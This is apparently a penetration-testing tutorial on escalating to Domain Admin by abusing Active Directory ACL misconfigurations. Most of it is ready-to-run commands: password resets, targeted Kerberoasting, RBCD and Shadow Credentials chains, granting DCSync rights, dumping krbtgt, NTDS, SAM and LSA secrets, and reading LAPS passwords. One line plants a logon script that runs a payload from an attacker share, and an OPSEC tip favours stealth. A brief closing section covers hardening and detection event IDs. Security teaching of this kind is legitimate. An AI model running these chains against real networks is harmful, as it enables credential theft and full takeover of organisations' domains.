Part 1: Exploiting Permission Delegation

Every object in Active Directory — users, groups, computers, OUs — has an Access Control List (ACL) that defines who can do what. When administrators delegate permissions carelessly (e.g., letting a helpdesk group reset passwords on admin accounts, or giving IT staff GenericWrite on the Domain Admins group), attackers can chain these misconfigurations to escalate from a low-privilege user to Domain Admin.

BloodHound is the essential tool here. It maps these relationships as a graph and finds the shortest attack path.


Finding Misconfigured ACLs

BloodHound

Upload your collection data and run built-in queries:

  • Shortest Path to Domain Admins from Owned Principals
  • Find Principals with DCSync Rights
  • Shortest Path from Kerberoastable Users

PowerView (from Windows)

# Find all interesting ACLs in the domain
Find-InterestingDomainAcl -ResolveGUIDs

# Check specific object ACL
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {
  $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"
}

# Who can reset passwords?
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs | ? {
  $_.ObjectAceType -match "User-Force-Change-Password"
}

From Linux / Kali

# BloodHound collection — same data PowerView exposes, queryable in the GUI
bloodhound-python -u user -p pass -d domain.local -ns DC_IP -dc dc01.domain.local -c All

# NetExec built-in BloodHound collector (one command, no Python wrapper)
nxc ldap DC_IP -u user -p pass -d domain.local --bloodhound -c All --dns-server DC_IP

# dacledit — read ACLs on any object directly (Impacket fork)
dacledit.py domain.local/user:pass -target 'Domain Admins' -dc-ip DC_IP -action read

# Raw LDAP query if no BloodHound — filter ntSecurityDescriptor manually
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w pass \
  -b "DC=domain,DC=local" "(sAMAccountName=targetuser)" ntSecurityDescriptor

Attack: GenericAll

Severity: 🔴 Critical

What it means: Full control over the target object. You can do anything — reset passwords, modify group membership, set SPNs, write attributes.

GenericAll on a User

From Windows (PowerView):

# Option 1: Reset their password
net user targetuser 'NewP@ssw0rd!' /domain

# Option 2: Set an SPN → Kerberoast
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}
Rubeus.exe kerberoast /user:targetuser /outfile:hash.txt
# Crack with hashcat -m 13100
# Clean up the SPN after
Set-DomainObject -Identity targetuser -Clear serviceprincipalname

# Option 3: Disable Kerberos pre-auth → AS-REP Roast
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304}

From Linux / Kali:

# Option 1: Reset password via SAMR
net rpc password targetuser 'NewP@ssw0rd!' -U 'domain.local/attacker%pass' -S DC_IP
# or via Impacket
changepasswd.py domain.local/targetuser@DC_IP -newpass 'NewP@ssw0rd!'

# Option 2: Targeted Kerberoast — set SPN + roast in one shot
targetedKerberoast.py -u user -p pass -d domain.local --dc-ip DC_IP
# hashcat -m 13100 kerberoast.txt rockyou.txt

# Option 3: Targeted AS-REP Roast — flip DONT_REQ_PREAUTH bit
bloodyAD -u user -p pass -d domain.local --host DC_IP add uac targetuser -f DONT_REQ_PREAUTH
GetNPUsers.py domain.local/targetuser -no-pass -dc-ip DC_IP -format hashcat
# Flip the bit back when done
bloodyAD -u user -p pass -d domain.local --host DC_IP remove uac targetuser -f DONT_REQ_PREAUTH

GenericAll on a Group

From Windows (PowerView):

# Add yourself directly
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser

# Verify
Get-DomainGroupMember -Identity "Domain Admins"

From Linux / Kali:

# Add a member with net rpc (SAMR)
net rpc group addmem 'Domain Admins' attacker -U 'domain.local/attacker%pass' -S DC_IP

# Or with bloodyAD (LDAP writes — no SMB needed)
bloodyAD -u user -p pass -d domain.local --host DC_IP add groupMember 'Domain Admins' attacker

# Verify
nxc ldap DC_IP -u user -p pass -M groupmembership -o GROUP='Domain Admins'

GenericAll on a Computer

Three paths, in order of preference — try the next one only if the previous is blocked:

OptionWhat’s NeededWhen to Use
1. LAPS readLAPS deployed on targetAlways try first — 1 LDAP query → local admin
2. RBCDMachineAccountQuota > 0 OR an existing computer account you controlDefault fallback
3. Shadow CredentialsADCS deployed in the forestUse when MAQ=0 blocks RBCD

Option 1 — LAPS (fast path, see the full LAPS section below):

# If LAPS is deployed, GenericAll → read LAPS → local admin
nxc ldap DC_IP -u user -p pass --laps
# Use the returned password directly
nxc smb TARGET_IP -u Administrator -p 'LAPS_PASSWORD' --local-auth

Option 2 — RBCD from Windows (PowerView):

# Configure RBCD to yourself (you need a computer account too)
$sid = Get-DomainComputer YOURPC -Properties objectsid | Select -Expand objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$bytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($bytes, 0)
Set-DomainObject -Identity TARGETPC -Set @{'msds-allowedtoactonbehalfofotheridentity'=$bytes}

Option 2 — Full RBCD chain from Linux:

# Step 1: Create a fake computer account (default quota: 10 per user)
impacket-addcomputer domain.local/user:pass \
  -computer-name 'FAKEPC$' -computer-pass 'Password123' -dc-ip DC_IP

# Step 2: Set msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET
impacket-rbcd domain.local/user:pass \
  -delegate-to 'TARGET$' -delegate-from 'FAKEPC$' -action write -dc-ip DC_IP

# Step 3: S4U2Self + S4U2Proxy as Administrator
impacket-getST domain.local/'FAKEPC$':'Password123' \
  -spn cifs/target.domain.local -impersonate Administrator -dc-ip DC_IP

# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccache
impacket-secretsdump -k -no-pass target.domain.local
impacket-psexec -k -no-pass domain.local/administrator@target.domain.local

# Cleanup
impacket-rbcd domain.local/user:pass \
  -delegate-to 'TARGET$' -delegate-from 'FAKEPC$' -action remove -dc-ip DC_IP

Option 3 — Shadow Credentials (when MAQ=0 blocks RBCD):

If ms-DS-MachineAccountQuota is 0 and you don’t already control a computer account, RBCD is dead on arrival. Shadow Credentials abuses the same GenericAll/GenericWrite right by writing a key credential to msDS-KeyCredentialLink on the target — then authenticating as the target computer via PKINIT to recover its TGT / NT hash.

Requirements: ADCS must be deployed in the forest (Shadow Credentials relies on PKINIT, which needs a CA-issued KDC cert on the DC — standard ADCS deployments satisfy this).

# Step 1: Add a key credential on TARGET$ — outputs TARGET.pfx + password
pywhisker -d domain.local -u user -p pass \
  --target 'TARGET$' --action add -dc-ip DC_IP

# Step 2: Authenticate as TARGET$ with the cert → get NT hash
certipy auth -pfx TARGET.pfx -dc-ip DC_IP

# Step 3: Use the hash (TARGET$ is local SYSTEM on its own machine)
impacket-secretsdump -hashes :NTHASH domain.local/'TARGET$'@TARGET_IP

# Or request a silver/gold ticket from the hash, or pivot via S4U from a
# computer account context — any "I control TARGET$" follow-up works.

# Cleanup — remove the key credential so the account reverts to clean state
pywhisker -d domain.local -u user -p pass \
  --target 'TARGET$' --action remove -dc-ip DC_IP

💡 Why this works: msDS-KeyCredentialLink is how Windows Hello for Business binds a public key to an account. GenericAll/GenericWrite lets you plant your own key there — and once you own the private key, PKINIT gives you a TGT for that account with no password at all.


Attack: GenericWrite

Severity: 🔴 Critical

What it means: Write access to any non-protected attribute on the object. Slightly less than GenericAll, but still exploitable.

On a User

Windows (PowerView):

# Set SPN for Kerberoasting (targeted Kerberoast)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='http/fake'}

# Set logon script (code execution next time they log in)
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\payload.exe'}

Linux:

# Set an SPN then Kerberoast (all-in-one)
targetedKerberoast.py -u user -p pass -d domain.local --dc-ip DC_IP

# Or write the attribute manually with bloodyAD
bloodyAD -u user -p pass -d domain.local --host DC_IP set object targetuser servicePrincipalName -v 'http/fake'
GetUserSPNs.py domain.local/user:pass -request-user targetuser -dc-ip DC_IP
bloodyAD -u user -p pass -d domain.local --host DC_IP remove object targetuser servicePrincipalName -v 'http/fake'

On a Computer

Same targets as GenericAll on Computer — LAPS read (if deployed) or RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity). See the GenericAll on a Computer section above for the full Linux + Windows chains.


Attack: WriteDACL

Severity: 🔴 Critical

What it means: You can modify the ACL itself. Grant yourself GenericAll, then do whatever you want.

Windows (PowerView):

# Step 1: Grant yourself GenericAll on the target
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
  -PrincipalIdentity attackeruser -Rights All

# Step 2: Now abuse GenericAll (add yourself to the group)
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser

Linux (dacledit + bloodyAD):

# Step 1: Grant yourself FullControl on the target
dacledit.py domain.local/user:pass \
  -target 'Domain Admins' -principal attacker \
  -action write -rights FullControl -dc-ip DC_IP

# Step 2: Add yourself to the group
bloodyAD -u attacker -p pass -d domain.local --host DC_IP \
  add groupMember 'Domain Admins' attacker

WriteDACL on the Domain Object

This is especially dangerous — you can grant yourself DCSync rights:

Windows (PowerView):

# Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
  -PrincipalIdentity attackeruser \
  -Rights DCSync

# Now DCSync
mimikatz "lsadump::dcsync /domain:domain.local /user:krbtgt"

Linux:

# Grant DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
dacledit.py domain.local/user:pass \
  -target-dn 'DC=domain,DC=local' -principal attacker \
  -action write -rights DCSync -dc-ip DC_IP

# Now DCSync
impacket-secretsdump domain.local/attacker:pass@DC_IP -just-dc

Attack: WriteOwner

Severity: 🟠 High

What it means: Change the owner of the object. The owner implicitly has WriteDACL.

Chain: WriteOwner → WriteDACL → GenericAll

Windows (PowerView):

# Step 1: Take ownership
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity attackeruser

# Step 2: Grant yourself full rights (WriteDACL is now implicit)
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
  -PrincipalIdentity attackeruser -Rights All

# Step 3: Add yourself
Add-DomainGroupMember -Identity "Domain Admins" -Members attackeruser

Linux (owneredit + dacledit + bloodyAD):

# Step 1: Take ownership
owneredit.py domain.local/user:pass \
  -target 'Domain Admins' -new-owner attacker -dc-ip DC_IP

# Step 2: Grant yourself FullControl
dacledit.py domain.local/attacker:pass \
  -target 'Domain Admins' -principal attacker \
  -action write -rights FullControl -dc-ip DC_IP

# Step 3: Add yourself to the group
bloodyAD -u attacker -p pass -d domain.local --host DC_IP \
  add groupMember 'Domain Admins' attacker

Attack: ForceChangePassword

Severity: 🟠 High

What it means: Reset a user’s password without knowing the current one. This is a standalone right — it doesn’t require GenericAll.

# PowerView
Set-DomainUserPassword -Identity targetuser \
  -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force) -Verbose

# net command
net user targetuser 'NewP@ss123!' /domain
# Impacket (from Linux) — requires old pass or hash
changepasswd.py domain.local/targetuser:'oldpass'@dc01 -newpass 'NewP@ss123!'

# Impacket — reset as another user you already control
changepasswd.py -reset domain.local/attacker:'attackerpass'@dc01 \
  -altuser attacker -altpass 'attackerpass' -target targetuser -newpass 'NewP@ss123!'

# Samba net rpc — pass-through using your own creds
net rpc password targetuser 'NewP@ss123!' -U 'domain.local/attacker%pass' -S DC_IP

# bloodyAD — LDAP-based password reset (no SMB)
bloodyAD -u attacker -p pass -d domain.local --host DC_IP \
  set password targetuser 'NewP@ss123!'

⚠️ OPSEC Warning: Resetting passwords is noisy — the user will notice they can’t log in. Prefer Kerberoasting (set SPN) or delegation abuse when stealth matters.


Attack: AddMember / Self

Severity: 🟠 High

What it means: Add any user (or yourself, with AddSelf) to a group.

Windows (PowerView):

# Add yourself to a privileged group
Add-DomainGroupMember -Identity "Server Operators" -Members attackeruser
Add-DomainGroupMember -Identity "Backup Operators" -Members attackeruser

# Verify
Get-DomainGroupMember -Identity "Server Operators" | select MemberName

Linux:

# Samba net rpc
net rpc group addmem 'Server Operators' attacker -U 'domain.local/attacker%pass' -S DC_IP

# bloodyAD
bloodyAD -u attacker -p pass -d domain.local --host DC_IP \
  add groupMember 'Backup Operators' attacker

# Verify
nxc ldap DC_IP -u user -p pass -M groupmembership -o GROUP='Server Operators'

Interesting Groups to Target

GroupWhy It Matters
Domain AdminsFull domain control
Enterprise AdminsFull forest control
Server OperatorsLog on to DCs, manage services
Backup OperatorsRead any file, backup SAM/NTDS
Account OperatorsManage non-admin accounts and groups
DNS AdminsDLL injection on DNS service (runs as SYSTEM on DC)
Group Policy Creator OwnersCreate new GPOs

Attack: AllExtendedRights

Severity: 🟠 High

What it means: Grants every extended right at once — including User-Force-Change-Password (on users) and the LAPS password read right (on computers). On a user → reset the password (see ForceChangePassword above). On a computer → read LAPS. See the dedicated LAPS section below.


Attack: Reading LAPS Passwords

Severity: 🟠 High

LAPS (Local Administrator Password Solution) stores a unique, rotating local Administrator password for each domain-joined machine — in Active Directory. If you have the right permissions (GenericAll, AllExtendedRights, or an explicit read right on the LAPS attribute), you can pull those passwords straight out of LDAP and log in as local admin.

What LAPS Is

LAPS rotates the local Administrator password and stores it as an attribute on the computer object. Two versions exist:

VersionAttributeStorage
LAPS v1 (Legacy)ms-Mcs-AdmPwdPlaintext
LAPS v2 (Windows LAPS)msLAPS-PasswordJSON (plaintext by default, optional DPAPI encryption)

Who Can Read LAPS

  • Anyone with GenericAll on the computer object
  • Anyone with AllExtendedRights on the computer object
  • Accounts explicitly granted read on the LAPS attribute
  • Members of groups delegated LAPS read access (often helpdesk / tier-2 admins)

Enumeration — Is LAPS Deployed?

# Check if the LAPS schema extension exists and which computers have passwords
nxc ldap DC_IP -u user -p pass -M laps

# Raw LDAP — list all LAPS-enrolled computers
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w pass \
  -b "DC=domain,DC=local" "(ms-Mcs-AdmPwdExpirationTime=*)" cn

# From Windows — who can read the attribute on a given OU?
Find-AdmPwdExtendedRights -Identity "OU=Servers,DC=domain,DC=local"

Read the Password

# nxc — easiest (dumps every LAPS password your account can read)
nxc ldap DC_IP -u user -p pass --laps

# nxc module (more verbose output incl. expiration)
nxc ldap DC_IP -u user -p pass -M laps

# Raw LDAP query
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w pass \
  -b "DC=domain,DC=local" "(ms-Mcs-AdmPwd=*)" cn ms-Mcs-AdmPwd

# Windows LAPS v2
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w pass \
  -b "DC=domain,DC=local" "(msLAPS-Password=*)" cn msLAPS-Password
# From Windows — PowerView
Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd | select dnshostname, ms-Mcs-AdmPwd

# LAPS v2 module
Get-LapsADPassword -Identity TARGET -AsPlainText

Use the Password

LAPS gives you the local Administrator of the target — not a domain account. Authenticate with --local-auth:

# Check it works
nxc smb TARGET_IP -u Administrator -p 'LAPS_PASSWORD' --local-auth

# Shell
evil-winrm -i TARGET_IP -u Administrator -p 'LAPS_PASSWORD'

# Dump SAM / LSA secrets on the target
nxc smb TARGET_IP -u Administrator -p 'LAPS_PASSWORD' --local-auth --sam
nxc smb TARGET_IP -u Administrator -p 'LAPS_PASSWORD' --local-auth --lsa
impacket-secretsdump Administrator:'LAPS_PASSWORD'@TARGET_IP

Why LAPS Is the Shortcut

If you have GenericAll on a computer, always check LAPS first before setting up RBCD:

PathStepsCaveats
LAPS read1 command → local adminNeeds LAPS actually deployed on that host
RBCDcreate computer account → write attribute → S4U → psexecNeeds MachineAccountQuota > 0 or an existing computer account

LAPS is one LDAP query. RBCD is four steps and leaves a machine account behind.


Chaining ACL Attacks

In practice, ACL abuse involves chaining multiple hops. Example path BloodHound might reveal:

You (jsmith)
  → GenericWrite on svc_backup
    → Set SPN → Kerberoast → crack password
      → svc_backup is member of Backup Operators
        → Dump NTDS.dit → extract all hashes
          → Domain Admin

Always check BloodHound’s transitive paths — the direct ACL might not look exploitable, but a 3-hop chain might exist.


Defense & Detection

Hardening

  • Run BloodHound defensively — use it before attackers do. Clean up dangerous edges.
  • AdminSDHolder — ensure protected objects have correct ACLs. SDProp re-applies AdminSDHolder ACLs every 60 minutes.
  • Least privilege — audit all delegated permissions with Find-InterestingDomainAcl.
  • Remove stale ACEs — when employees change roles, their old permissions often remain.

Detection (Event IDs)

Event IDWhat It Catches
4662Directory service object access (ACL use)
5136Directory service object modification
4738User account changed
4728 / 4732 / 4756User added to security group (global / local / universal)
4724Password reset attempt

PowerShell Monitoring

# Audit who has dangerous permissions on Domain Admins
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {
  ($_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite") -and
  ($_.SecurityIdentifier -notmatch "S-1-5-21.*-512")  # Exclude DA SID itself
} | select SecurityIdentifier, ActiveDirectoryRights

 

 


Next up → Part 2: Exploiting Kerberos Delegation — unconstrained, constrained, RBCD, Kerberoasting, and AS-REP Roasting.

 

Writeups that put these techniques into practice will be linked here.